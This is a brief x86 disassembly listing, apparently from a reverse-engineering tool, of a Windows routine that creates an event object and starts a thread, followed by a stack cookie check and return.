push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401243
mov ebx, 0x423558
call fcn.00402529
mov eax, dword [0x423094]
push esi
push esi
push esi
push 0x4026e0
push esi
push esi
mov dword [0x423560], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42161c], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
leave
ret